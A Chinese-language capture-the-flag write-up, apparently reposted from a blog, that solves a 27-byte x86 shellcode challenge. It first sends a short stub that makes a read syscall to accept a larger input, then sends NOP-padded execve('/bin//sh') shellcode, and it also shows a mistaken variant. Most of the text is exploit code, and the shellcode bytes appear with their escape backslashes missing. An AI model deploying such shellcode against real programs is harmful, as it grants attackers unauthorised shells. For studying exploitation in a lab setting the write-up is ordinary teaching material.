SniperOj-shorter-shellcode-x86

shell-storm 这里可以有一些可以用的shellcode,不过自己写才是biner的骄傲 /奋斗

0x00 不会写shellcode(和一条咸鱼有什么区别/哭)

0x01 这题目前有俩种解法

1. shellcode直接获取shell,这种解法需要较强的shellcode编写能力,因为只能输入27字节,要求shellcode1足够短

2. 先自己构造个read然后扩大读取字节,再获取shell,这样shellcode长度就不是问题了

0x02 我选择的是第二种,完全是因为自己不会写shellcode。/气哭

1.先构造read

# read_asm
shellcode = asm("mov al, 0x3")
shellcode += asm("add cl, 0xc")
shellcode += asm("mov dl, 0xff")
shellcode += asm("int 0x80")

#read_more
padding = 'x90' * (13-len(shellcode)) payload = shellcode + padding + p32(buf_Addr) Io.send(payload)

2.再获取shell

# system_asm
shellcode1 = "x31xc9xf7xe1x51x68x2fx2fx73x68x68x2f"
shellcode1 += "x62x69x6ex89xe3xb0x0bxcdx80"

#get_shell
payload1 = 'x90' * 16 + shellcode1
Io.send(payload1)

3.我犯的一个错误

#get_shell
payload1 = 'x90' * 13 + p32(buf_Addr + 13 + 4) + shellcode1
Io.send(payload1)

因为之前构造的read已经把EIP指向了栈,所以第二次不需要再覆盖函数返回地址,就可以直接指向shellcode。感谢re0x6d大佬耐心指导,

原文地址:https://www.cnblogs.com/elvirangel/p/6917079.html